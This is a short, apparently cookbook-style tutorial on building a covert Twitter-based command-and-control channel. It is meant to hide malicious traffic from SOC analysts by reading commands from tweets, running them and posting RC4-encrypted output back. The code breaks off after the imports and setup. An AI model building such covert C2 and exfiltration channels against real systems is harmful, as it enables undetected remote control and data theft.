Creating an Twitter C2

Up to a certain point, requesting random pages on the Internet is passable but once a Security Operation Centre (SOC) analyst takes a closer look at all the data that's vanishing up the tubes, it's going to be obvious that the requests are going to a dodgy site and therefore are likely associated with malicious traffic. Fortunately, social media helps out in this regard and allows us to hide data in plain sight.

We will create a script that connects to Twitter, reads tweets, performs commands based on those tweets, encrypts the response data, and posts it to Twitter. We'll also make a decode script.

Getting Started

For this, you will need a Twitter account with an API key.

How to do it…

The script we will be using is as follows:

from twitter import *
import os
from Crypto.Cipher import ARC4
import subprocess
import time

token = ''
token_key = ''
con_secret = ''
con_secret_key = ''
t = Twitter(auth=OAuth(token, token_key, con_secret, con_secret_key))

while 1:
  user = t...